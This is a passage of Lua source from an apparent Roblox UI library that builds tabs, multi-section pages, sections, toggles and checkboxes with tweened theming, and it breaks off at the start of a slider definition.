                library[ "items" ].Enabled = bool
            end 

            RunService.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function()
                if library[ "items" ].Enabled and not uis.MouseIconEnabled then
                    uis.MouseIconEnabled = true
                end
            end))
                
            return setmetatable(cfg, library)
        end 

        function library:tab(properties)
            local cfg = {
                name = properties.name or properties.Name or "visuals"; 
                icon = properties.icon or properties.Icon or "http://www.roblox.com/asset/?id=6034767608";
                
                -- multi 
                tabs = properties.tabs or properties.Tabs or {"Main", "Misc.", "Settings"};
                pages = {}; -- data store for multi sections
                current_multi; 
                
                items = {};
            } 

            local items = cfg.items; do 
                items[ "tab_holder" ] = library:create( "Frame" , {
                    Parent = library.cache;
                    Name = "\0";
                    Visible = false;
                    BackgroundTransparency = 1;
                    Position = dim2(0, 196, 0, 56);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, -216, 1, -101);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                -- Tab buttons 
                    items[ "button" ] = library:create( "TextButton" , {
                        FontFace = fonts.font;
                        TextColor3 = rgb(255, 255, 255);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "";
                        Parent = self.items[ "button_holder" ];
                        AutoButtonColor = false;
                        BackgroundTransparency = 1;
                        Name = "\0";
                        Size = dim2(1, 0, 0, 35);
                        BorderSizePixel = 0;
                        TextSize = 16;
                        BackgroundColor3 = rgb(29, 29, 29)
                    });
                    
                    items[ "icon" ] = library:create( "ImageLabel" , {
                        ImageColor3 = rgb(72, 72, 73);
                        BorderColor3 = rgb(0, 0, 0);
                        Parent = items[ "button" ];
                        AnchorPoint = vec2(0, 0.5);
                        Image = cfg.icon;
                        BackgroundTransparency = 1;
                        Position = dim2(0, 10, 0.5, 0);
                        Name = "\0";
                        Size = dim2(0, 22, 0, 22);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    }); library:apply_theme(items[ "icon" ], "accent", "ImageColor3");
                    
                    items[ "name" ] = library:create( "TextLabel" , {
                        FontFace = fonts.font;
                        TextColor3 = rgb(72, 72, 73);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = cfg.name;
                        Parent = items[ "button" ];
                        Name = "\0";
                        Size = dim2(0, 0, 1, 0);
                        Position = dim2(0, 40, 0, 0);
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.X;
                        TextSize = 16;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIPadding" , {
                        Parent = items[ "name" ];
                        PaddingRight = dim(0, 5);
                        PaddingLeft = dim(0, 5)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "button" ];
                        CornerRadius = dim(0, 7)
                    });
                    
                    library:create( "UIStroke" , {
                        Color = rgb(23, 23, 29);
                        Parent = items[ "button" ];
                        Enabled = false;
                        ApplyStrokeMode = Enum.ApplyStrokeMode.Border
                    });
                -- 

                -- Multi Sections
                    items[ "multi_section_button_holder" ] = library:create( "Frame" , {
                        Parent = library.cache;
                        BackgroundTransparency = 1;
                        Name = "\0";
                        Visible = false;
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, 0, 1, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIListLayout" , {
                        Parent = items[ "multi_section_button_holder" ];
                        Padding = dim(0, 7);
                        SortOrder = Enum.SortOrder.LayoutOrder;
                        FillDirection = Enum.FillDirection.Horizontal
                    });
                    
                    library:create( "UIPadding" , {
                        PaddingTop = dim(0, 8);
                        PaddingBottom = dim(0, 7);
                        Parent = items[ "multi_section_button_holder" ];
                        PaddingRight = dim(0, 7);
                        PaddingLeft = dim(0, 7)
                    });                        

                    for _, section in cfg.tabs do
                        local data = {items = {}} 

                        local multi_items = data.items; do 
                            -- Button
                                multi_items[ "button" ] = library:create( "TextButton" , {
                                    FontFace = fonts.font;
                                    TextColor3 = rgb(255, 255, 255);
                                    BorderColor3 = rgb(0, 0, 0);
                                    AutoButtonColor = false;
                                    Text = "";
                                    Parent = items[ "multi_section_button_holder" ];
                                    Name = "\0";
                                    Size = dim2(0, 0, 0, 39);
                                    BackgroundTransparency = 1;
                                    ClipsDescendants = true;
                                    BorderSizePixel = 0;
                                    AutomaticSize = Enum.AutomaticSize.X;
                                    TextSize = 16;
                                    BackgroundColor3 = rgb(25, 25, 29)
                                });
                                
                                multi_items[ "name" ] = library:create( "TextLabel" , {
                                    FontFace = fonts.font;
                                    TextColor3 = rgb(62, 62, 63);
                                    BorderColor3 = rgb(0, 0, 0);
                                    Text = section;
                                    Parent = multi_items[ "button" ];
                                    Name = "\0";
                                    Size = dim2(0, 0, 1, 0);
                                    BackgroundTransparency = 1;
                                    TextXAlignment = Enum.TextXAlignment.Left;
                                    BorderSizePixel = 0;
                                    AutomaticSize = Enum.AutomaticSize.XY;
                                    TextSize = 16;
                                    BackgroundColor3 = rgb(255, 255, 255)
                                });
                                
                                library:create( "UIPadding" , {
                                    Parent = multi_items[ "name" ];
                                    PaddingRight = dim(0, 5);
                                    PaddingLeft = dim(0, 5)
                                });
                                
                                multi_items[ "accent" ] = library:create( "Frame" , {
                                    BorderColor3 = rgb(0, 0, 0);
                                    AnchorPoint = vec2(0, 1);
                                    Parent = multi_items[ "button" ];
                                    BackgroundTransparency = 1;
                                    Position = dim2(0, 10, 1, 4);
                                    Name = "\0";
                                    Size = dim2(1, -20, 0, 6);
                                    BorderSizePixel = 0;
                                    BackgroundColor3 = themes.preset.accent
                                }); library:apply_theme(multi_items[ "accent" ], "accent", "BackgroundColor3");
                                
                                library:create( "UICorner" , {
                                    Parent = multi_items[ "accent" ];
                                    CornerRadius = dim(0, 999)
                                });
                                
                                library:create( "UIPadding" , {
                                    Parent = multi_items[ "button" ];
                                    PaddingRight = dim(0, 10);
                                    PaddingLeft = dim(0, 10)
                                });
                                
                                library:create( "UICorner" , {
                                    Parent = multi_items[ "button" ];
                                    CornerRadius = dim(0, 7)
                                }); 
                            --

                            -- Tab 
                                multi_items[ "tab" ] = library:create( "Frame" , {
                                    Parent = library.cache;
                                    BackgroundTransparency = 1;
                                    Name = "\0";
                                    BorderColor3 = rgb(0, 0, 0);
                                    Size = dim2(1, -20, 1, -20);
                                    BorderSizePixel = 0;
                                    Visible = false;
                                    BackgroundColor3 = rgb(255, 255, 255)
                                });
                                
                                library:create( "UIListLayout" , {
                                    FillDirection = Enum.FillDirection.Vertical;
                                    HorizontalFlex = Enum.UIFlexAlignment.Fill;
                                    Parent = multi_items[ "tab" ];
                                    Padding = dim(0, 7);
                                    SortOrder = Enum.SortOrder.LayoutOrder;
                                    VerticalFlex = Enum.UIFlexAlignment.Fill
                                });
                                
                                library:create( "UIPadding" , {
                                    PaddingTop = dim(0, 7);
                                    PaddingBottom = dim(0, 7);
                                    Parent = multi_items[ "tab" ];
                                    PaddingRight = dim(0, 7);
                                    PaddingLeft = dim(0, 7)
                                });
                            --
                        end

                        data.text = multi_items[ "name" ]
                        data.accent = multi_items[ "accent" ]
                        data.button = multi_items[ "button" ]
                        data.page = multi_items[ "tab" ]
                        data.parent = setmetatable(data, library):sub_tab({}).items[ "tab_parent" ]
                        
                        -- Old column code
                        -- data.left = multi_items[ "left" ]
                        -- data.right = multi_items[ "right" ]

						function data.open_page()
							local page = cfg.current_multi; 
                            
                            if page and page.text ~= data.text then 
                                self.items[ "global_fade" ].BackgroundTransparency = 0
                                library:tween(self.items[ "global_fade" ], {BackgroundTransparency = 1}, Enum.EasingStyle.Quad, 0.4)
                                
                                local old_size = page.page.Size
                                page.page.Size = dim2(1, -20, 1, -20)
                            end

                            if page then
                                library:tween(page.text, {TextColor3 = rgb(62, 62, 63)})
                                library:tween(page.accent, {BackgroundTransparency = 1})
                                library:tween(page.button, {BackgroundTransparency = 1})

                                page.page.Visible = false
                                page.page.Parent = library[ "cache" ] 
                            end 
                            
                            library:tween(data.text, {TextColor3 = rgb(255, 255, 255)})
                            library:tween(data.accent, {BackgroundTransparency = 0})
                            library:tween(data.button, {BackgroundTransparency = 0})
                            library:tween(data.page, {Size = dim2(1, 0, 1, 0)}, Enum.EasingStyle.Quad, 0.4)

                            data.page.Visible = true
                            data.page.Parent = items["tab_holder"]

                            cfg.current_multi = data

                            library:close_element()
						end

						multi_items[ "button" ].MouseButton1Down:Connect(function()
							data.open_page() 
						end)

						cfg.pages[#cfg.pages + 1] = setmetatable(data, library)
                    end 

                    cfg.pages[1].open_page()
                --
            end 

            function cfg.open_tab() 
                local selected_tab = self.selected_tab
                
                if selected_tab then 
                    if selected_tab[ 4 ] ~= items[ "tab_holder" ] then 
                        self.items[ "global_fade" ].BackgroundTransparency = 0
                        
                        library:tween(self.items[ "global_fade" ], {BackgroundTransparency = 1}, Enum.EasingStyle.Quad, 0.4)
                        selected_tab[ 4 ].Size = dim2(1, -216, 1, -101)
                    end

                    library:tween(selected_tab[ 1 ], {BackgroundTransparency = 1})
                    library:tween(selected_tab[ 2 ], {ImageColor3 = rgb(72, 72, 73)})
                    library:tween(selected_tab[ 3 ], {TextColor3 = rgb(72, 72, 73)})

                    selected_tab[ 4 ].Visible = false
                    selected_tab[ 4 ].Parent = library[ "cache" ]
                    selected_tab[ 5 ].Visible = false
                    selected_tab[ 5 ].Parent = library[ "cache" ]
                end

                library:tween(items[ "button" ], {BackgroundTransparency = 0})
                library:tween(items[ "icon" ], {ImageColor3 = themes.preset.accent})
                library:tween(items[ "name" ], {TextColor3 = rgb(255, 255, 255)})
                library:tween(items[ "tab_holder" ], {Size = dim2(1, -196, 1, -81)}, Enum.EasingStyle.Quad, 0.4)
                
                items[ "tab_holder" ].Visible = true 
                items[ "tab_holder" ].Parent = self.items[ "main" ]
                items[ "multi_section_button_holder" ].Visible = true 
                items[ "multi_section_button_holder" ].Parent = self.items[ "multi_holder" ]

                self.selected_tab = {
                    items[ "button" ];
                    items[ "icon" ];
                    items[ "name" ];
                    items[ "tab_holder" ];
                    items[ "multi_section_button_holder" ];
                }

                library:close_element()
            end

            items[ "button" ].MouseButton1Down:Connect(function()
                cfg.open_tab()
            end)
            
            if not self.selected_tab then 
                cfg.open_tab(true) 
            end

            return unpack(cfg.pages)
        end

        function library:seperator(properties)
            local cfg = {items = {}, name = properties.Name or properties.name or "General"}

            local items = cfg.items do 
                items[ "name" ] = library:create( "TextLabel" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(72, 72, 73);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    Parent = self.items[ "button_holder" ];
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    Position = dim2(0, 40, 0, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0; 
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 16;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIPadding" , {
                    Parent = items[ "name" ];
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });                
            end;    

            return setmetatable(cfg, library)
        end 

        -- Miscellaneous 
            function library:column(properties) 
                local cfg = {items = {}, size = properties.size or 1}

                local items = cfg.items; do     
                    items[ "column" ] = library:create( "Frame" , {
                        Parent = self[ "parent" ] or self.items["tab_parent"];
                        BackgroundTransparency = 1;
                        Name = "\0";
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(0, 0, cfg.size, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIPadding" , {
                        PaddingBottom = dim(0, 10);
                        Parent = items[ "column" ]
                    });
                    
                    library:create( "UIListLayout" , {
                        Parent = items[ "column" ];
                        HorizontalFlex = Enum.UIFlexAlignment.Fill;
                        Padding = dim(0, 10);
                        FillDirection = Enum.FillDirection.Vertical;
                        SortOrder = Enum.SortOrder.LayoutOrder
                    });
                end 

                return setmetatable(cfg, library)
            end 

            function library:sub_tab(properties) 
                local cfg = {items = {}, order = properties.order or 0; size = properties.size or 1}

                local items = cfg.items; do 
                    items[ "tab_parent" ] = library:create( "Frame" , {
                        Parent = self.items[ "tab" ];
                        BackgroundTransparency = 1;
                        Name = "\0";
                        Size = dim2(0,0,cfg.size,0);
                        BorderColor3 = rgb(0, 0, 0);
                        BorderSizePixel = 0;
                        Visible = true;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIListLayout" , {
                        FillDirection = Enum.FillDirection.Horizontal;
                        HorizontalFlex = Enum.UIFlexAlignment.Fill;
                        VerticalFlex = Enum.UIFlexAlignment.Fill;
                        Parent = items[ "tab_parent" ];
                        Padding = dim(0, 7);
                        SortOrder = Enum.SortOrder.LayoutOrder;
                    });
                end

                return setmetatable(cfg, library)
            end 
        --

        function library:section(properties)
            local cfg = {
                name = properties.name or properties.Name or "section"; 
                side = properties.side or properties.Side or "left";
                default = properties.default or properties.Default or false;
                size = properties.size or properties.Size or self.size or 0.5; 
                icon = properties.icon or properties.Icon or "http://www.roblox.com/asset/?id=6022668898";
                fading_toggle = properties.fading or properties.Fading or false;
                items = {};
            };
            
            local items = cfg.items; do 
                items[ "outline" ] = library:create( "Frame" , {
                    Name = "\0";
                    Parent = self.items[ "column" ];
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 0, cfg.size, -3);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(25, 25, 29)
                });

                library:create( "UICorner" , {
                    Parent = items[ "outline" ];
                    CornerRadius = dim(0, 7)
                });
                
                items[ "inline" ] = library:create( "Frame" , {
                    Parent = items[ "outline" ];
                    Name = "\0";
                    Position = dim2(0, 1, 0, 1);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, -2, 1, -2);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(22, 22, 24)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "inline" ];
                    CornerRadius = dim(0, 7)
                });
                
                items[ "scrolling" ] = library:create( "ScrollingFrame" , {
                    ScrollBarImageColor3 = rgb(44, 44, 46);
                    Active = true;
                    AutomaticCanvasSize = Enum.AutomaticSize.Y;
                    ScrollBarThickness = 2;
                    Parent = items[ "inline" ];
                    Name = "\0";
                    Size = dim2(1, 0, 1, -40);
                    BackgroundTransparency = 1;
                    Position = dim2(0, 0, 0, 35);
                    BackgroundColor3 = rgb(255, 255, 255);
                    BorderColor3 = rgb(0, 0, 0);
                    BorderSizePixel = 0;
                    CanvasSize = dim2(0, 0, 0, 0)
                });
                
                items[ "elements" ] = library:create( "Frame" , {
                    BorderColor3 = rgb(0, 0, 0);
                    Parent = items[ "scrolling" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 10, 0, 10);
                    Size = dim2(1, -20, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIListLayout" , {
                    Parent = items[ "elements" ];
                    Padding = dim(0, 10);
                    SortOrder = Enum.SortOrder.LayoutOrder
                });
                
                library:create( "UIPadding" , {
                    PaddingBottom = dim(0, 15);
                    Parent = items[ "elements" ]
                });
                
                items[ "button" ] = library:create( "TextButton" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(255, 255, 255);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = "";
                    AutoButtonColor = false;
                    Parent = items[ "outline" ];
                    Name = "\0";
                    Position = dim2(0, 1, 0, 1);
                    Size = dim2(1, -2, 0, 35);
                    BorderSizePixel = 0;
                    TextSize = 16;
                    BackgroundColor3 = rgb(19, 19, 21)
                });
                
                library:create( "UIStroke" , {
                    Color = rgb(23, 23, 29);
                    Parent = items[ "button" ];
                    Enabled = false;
                    ApplyStrokeMode = Enum.ApplyStrokeMode.Border
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "button" ];
                    CornerRadius = dim(0, 7)
                });
                
                items[ "Icon" ] = library:create( "ImageLabel" , {
                    ImageColor3 = themes.preset.accent;
                    BorderColor3 = rgb(0, 0, 0);
                    Parent = items[ "button" ];
                    AnchorPoint = vec2(0, 0.5);
                    Image = cfg.icon;
                    BackgroundTransparency = 1;
                    Position = dim2(0, 10, 0.5, 0);
                    Name = "\0";
                    Size = dim2(0, 22, 0, 22);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                }); library:apply_theme(items[ "Icon" ], "accent", "ImageColor3");
                
                items[ "section_title" ] = library:create( "TextLabel" , {
                    FontFace = fonts.font;
                    TextColor3 = rgb(255, 255, 255);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    Parent = items[ "button" ];
                    Name = "\0";
                    Size = dim2(0, 0, 1, 0);
                    Position = dim2(0, 40, 0, -1);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.X;
                    TextSize = 16;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = items[ "button" ];
                    Position = dim2(0, 0, 1, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 0, 0, 1);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(36, 36, 37)
                });
                
                if cfg.fading_toggle then 
                    items[ "toggle" ] = library:create( "TextButton" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        AutoButtonColor = false;
                        Text = "";
                        AnchorPoint = vec2(1, 0.5);
                        Parent = items[ "button" ];
                        Name = "\0";
                        Position = dim2(1, -9, 0.5, 0);
                        Size = dim2(0, 36, 0, 18);
                        BorderSizePixel = 0;
                        TextSize = 14;
                        BackgroundColor3 = rgb(58, 58, 62)
                    });  library:apply_theme(items[ "toggle" ], "accent", "BackgroundColor3");
                    
                    library:create( "UICorner" , {
                        Parent = items[ "toggle" ];
                        CornerRadius = dim(0, 999)
                    });
                    
                    items[ "toggle_outline" ] = library:create( "Frame" , {
                        Parent = items[ "toggle" ];
                        Size = dim2(1, -2, 1, -2);
                        Name = "\0";
                        BorderMode = Enum.BorderMode.Inset;
                        BorderColor3 = rgb(0, 0, 0);
                        Position = dim2(0, 1, 0, 1);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(50, 50, 50)
                    });  library:apply_theme(items[ "toggle_outline" ], "accent", "BackgroundColor3");
                    
                    library:create( "UICorner" , {
                        Parent = items[ "toggle_outline" ];
                        CornerRadius = dim(0, 999)
                    });
                    
                    library:create( "UIGradient" , {
                        Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))};
                        Parent = items[ "toggle_outline" ]
                    });
                    
                    items[ "toggle_circle" ] = library:create( "Frame" , {
                        Parent = items[ "toggle_outline" ];
                        Name = "\0";
                        Position = dim2(0, 2, 0, 2);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(0, 12, 0, 12);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(86, 86, 88)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "toggle_circle" ];
                        CornerRadius = dim(0, 999)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "outline" ];
                        CornerRadius = dim(0, 7)
                    });
                
                    items[ "fade" ] = library:create( "Frame" , {
                        Parent = items[ "outline" ];
                        BackgroundTransparency = 0.800000011920929;
                        Name = "\0";
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, 0, 1, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(0, 0, 0)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "fade" ];
                        CornerRadius = dim(0, 7)
                    });
                end 
            end;

            if cfg.fading_toggle then
                items[ "button" ].MouseButton1Click:Connect(function()
                    cfg.default = not cfg.default 
                    cfg.toggle_section(cfg.default) 
                end)

                function cfg.toggle_section(bool)
                    library:tween(items[ "toggle" ], {BackgroundColor3 = bool and themes.preset.accent or rgb(58, 58, 62)}, Enum.EasingStyle.Quad)
                    library:tween(items[ "toggle_outline" ], {BackgroundColor3 = bool and themes.preset.accent or rgb(50, 50, 50)}, Enum.EasingStyle.Quad)
                    library:tween(items[ "toggle_circle" ], {BackgroundColor3 = bool and rgb(255, 255, 255) or rgb(86, 86, 88), Position = bool and dim2(1, -14, 0, 2) or dim2(0, 2, 0, 2)}, Enum.EasingStyle.Quad)
                    library:tween(items[ "fade" ], {BackgroundTransparency = bool and 1 or 0.8}, Enum.EasingStyle.Quad)
                end 
            end 

            return setmetatable(cfg, library)
        end  

        function library:toggle(options) 
            local rand = math.random(1, 2) 
            local cfg = {
                enabled = options.default or false,
                name = options.name or "Toggle",
                info = options.info or nil,
                flag = options.flag or library:next_flag(),
                
                type = options.type and string.lower(options.type) or rand == 1 and "toggle" or "checkbox"; -- "toggle", "checkbox"

                default = options.default or false,
                folding = options.folding or false, 
                callback = options.callback or function() end,

                items = {};
                seperator = options.seperator or options.Seperator or false;
            }

            flags[cfg.flag] = cfg.default

            local items = cfg.items; do
                items[ "toggle" ] = library:create( "TextButton" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = "";
                    Parent = self.items[ "elements" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Size = dim2(1, 0, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                items[ "name" ] = library:create( "TextLabel" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(245, 245, 245);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    Parent = items[ "toggle" ];
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 16;
                    BackgroundColor3 = rgb(255, 255, 255)
                });

                if cfg.info then 
                    items[ "info" ] = library:create( "TextLabel" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(130, 130, 130);
                        BorderColor3 = rgb(0, 0, 0);
                        TextWrapped = true;
                        Text = cfg.info;
                        Parent = items[ "toggle" ];
                        Name = "\0";
                        Position = dim2(0, 5, 0, 17);
                        Size = dim2(1, -10, 0, 0);
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.XY;
                        TextSize = 16;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                end 
                
                library:create( "UIPadding" , {
                    Parent = items[ "name" ];
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });
                
                items[ "right_components" ] = library:create( "Frame" , {
                    Parent = items[ "toggle" ];
                    Name = "\0";
                    Position = dim2(1, 0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 0, 1, 0);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIListLayout" , {
                    FillDirection = Enum.FillDirection.Horizontal;
                    HorizontalAlignment = Enum.HorizontalAlignment.Right;
                    Parent = items[ "right_components" ];
                    Padding = dim(0, 9);
                    SortOrder = Enum.SortOrder.LayoutOrder
                });
                
                -- Toggle
                    if cfg.type == "checkbox" then 
                        items[ "toggle_button" ] = library:create( "TextButton" , {
                            FontFace = fonts.small;
                            TextColor3 = rgb(0, 0, 0);
                            BorderColor3 = rgb(0, 0, 0);
                            Text = "";
                            LayoutOrder = 2;
                            AutoButtonColor = false;
                            AnchorPoint = vec2(1, 0);
                            Parent = items[ "right_components" ];
                            Name = "\0";
                            Position = dim2(1, 0, 0, 0);
                            Size = dim2(0, 16, 0, 16);
                            BorderSizePixel = 0;
                            TextSize = 14;
                            BackgroundColor3 = rgb(67, 67, 68)
                        }); library:apply_theme(items[ "toggle_button" ], "accent", "BackgroundColor3");
                        
                        library:create( "UICorner" , {
                            Parent = items[ "toggle_button" ];
                            CornerRadius = dim(0, 4)
                        });
                        
                        items[ "outline" ] = library:create( "Frame" , {
                            Parent = items[ "toggle_button" ];
                            Size = dim2(1, -2, 1, -2);
                            Name = "\0";
                            BorderMode = Enum.BorderMode.Inset;
                            BorderColor3 = rgb(0, 0, 0);
                            Position = dim2(0, 1, 0, 1);
                            BorderSizePixel = 0;
                            BackgroundColor3 = rgb(22, 22, 24)
                        }); library:apply_theme(items[ "outline" ], "accent", "BackgroundColor3");
                        
                        items[ "tick" ] = library:create( "ImageLabel" , {
                            ImageTransparency = 1;
                            BorderColor3 = rgb(0, 0, 0);
                            Image = "rbxassetid://111862698467575";
                            BackgroundTransparency = 1;
                            Position = dim2(0, -1, 0, 0);
                            Parent = items[ "outline" ];
                            Size = dim2(1, 2, 1, 2);
                            BorderSizePixel = 0;
                            BackgroundColor3 = rgb(255, 255, 255);
                            ZIndex = 1;
                        });

                        library:create( "UICorner" , {
                            Parent = items[ "outline" ];
                            CornerRadius = dim(0, 4)
                        });
                        
                        library:create( "UIGradient" , {
                            Enabled = false;
                            Parent = items[ "outline" ];
                            Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))}
                        });  
                    else 
                        items[ "toggle_button" ] = library:create( "TextButton" , {
                            FontFace = fonts.font;
                            TextColor3 = rgb(0, 0, 0);
                            BorderColor3 = rgb(0, 0, 0);
                            Text = "";
                            LayoutOrder = 2;
                            AnchorPoint = vec2(1, 0.5);
                            Parent = items[ "right_components" ];
                            Name = "\0";
                            Position = dim2(1, -9, 0.5, 0);
                            Size = dim2(0, 36, 0, 18);
                            BorderSizePixel = 0;
                            TextSize = 14;
                            BackgroundColor3 = themes.preset.accent
                        }); library:apply_theme(items[ "toggle_button" ], "accent", "BackgroundColor3");
                        
                        library:create( "UICorner" , {
                            Parent = items[ "toggle_button" ];
                            CornerRadius = dim(0, 999)
                        });
                        
                        items[ "inline" ] = library:create( "Frame" , {
                            Parent = items[ "toggle_button" ];
                            Size = dim2(1, -2, 1, -2);
                            Name = "\0";
                            BorderMode = Enum.BorderMode.Inset;
                            BorderColor3 = rgb(0, 0, 0);
                            Position = dim2(0, 1, 0, 1);
                            BorderSizePixel = 0;
                            BackgroundColor3 = themes.preset.accent
                        }); library:apply_theme(items[ "inline" ], "accent", "BackgroundColor3");
                        
                        library:create( "UICorner" , {
                            Parent = items[ "inline" ];
                            CornerRadius = dim(0, 999)
                        });
                        
                        library:create( "UIGradient" , {
                            Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))};
                            Parent = items[ "inline" ]
                        });
                        
                        items[ "circle" ] = library:create( "Frame" , {
                            Parent = items[ "inline" ];
                            Name = "\0";
                            Position = dim2(1, -14, 0, 2);
                            BorderColor3 = rgb(0, 0, 0);
                            Size = dim2(0, 12, 0, 12);
                            BorderSizePixel = 0;
                            BackgroundColor3 = rgb(255, 255, 255)
                        });
                        
                        library:create( "UICorner" , {
                            Parent = items[ "circle" ];
                            CornerRadius = dim(0, 999)
                        });                        
                    end 
                --                
            end;
            
            function cfg.set(bool)
                if cfg.type == "checkbox" then 
                    library:tween(items[ "tick" ], {Rotation = bool and 0 or 45, ImageTransparency = bool and 0 or 1})
                    library:tween(items[ "toggle_button" ], {BackgroundColor3 = bool and themes.preset.accent or rgb(67, 67, 68)})
                    library:tween(items[ "outline" ], {BackgroundColor3 = bool and themes.preset.accent or rgb(22, 22, 24)})
                else
                    library:tween(items[ "toggle_button" ], {BackgroundColor3 = bool and themes.preset.accent or rgb(58, 58, 62)}, Enum.EasingStyle.Quad)
                    library:tween(items[ "inline" ], {BackgroundColor3 = bool and themes.preset.accent or rgb(50, 50, 50)}, Enum.EasingStyle.Quad)
                    library:tween(items[ "circle" ], {BackgroundColor3 = bool and rgb(255, 255, 255) or rgb(86, 86, 88), Position = bool and dim2(1, -14, 0, 2) or dim2(0, 2, 0, 2)}, Enum.EasingStyle.Quad)
                end

                cfg.enabled = bool
                cfg.callback(bool)

                if cfg.folding then 
                    elements.Visible = bool
                end

                flags[cfg.flag] = bool
            end 
            
            items[ "toggle" ].MouseButton1Click:Connect(function()
                cfg.enabled = not cfg.enabled 
                cfg.set(cfg.enabled)
            end)

            items[ "toggle_button" ].MouseButton1Click:Connect(function()
                cfg.enabled = not cfg.enabled 
                cfg.set(cfg.enabled)
            end)
            
            if cfg.seperator then -- ok bro my lua either sucks or this was a pain in the ass to make (simple if statement aswell 💔)
                library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = self.items[ "elements" ];
                    Position = dim2(0, 0, 1, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 1, 0, 1);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(36, 36, 37)
                });
            end

            cfg.set(cfg.default)

            config_flags[cfg.flag] = cfg.set

            return setmetatable(cfg, library)
        end 
        
        function library:slider(options) 
            local cfg = {
                name = options.name or nil,
                suffix = options.suffix or "",
                flag = options.flag or library:next_flag(),
                callback = options.callback or function() end, 
                info = options.info or nil; 

                -- value settings
                min = options.min or options.minimum or 0,
                max = options.max or options.maximum or 100,
                intervals = options.interval or options.decimal or 1,
                default = options.default or 10,
                value = options.default or 10, 
                seperator = options.seperator or options.Seperator or false;

                dragging = false,
                items = {}
            } 

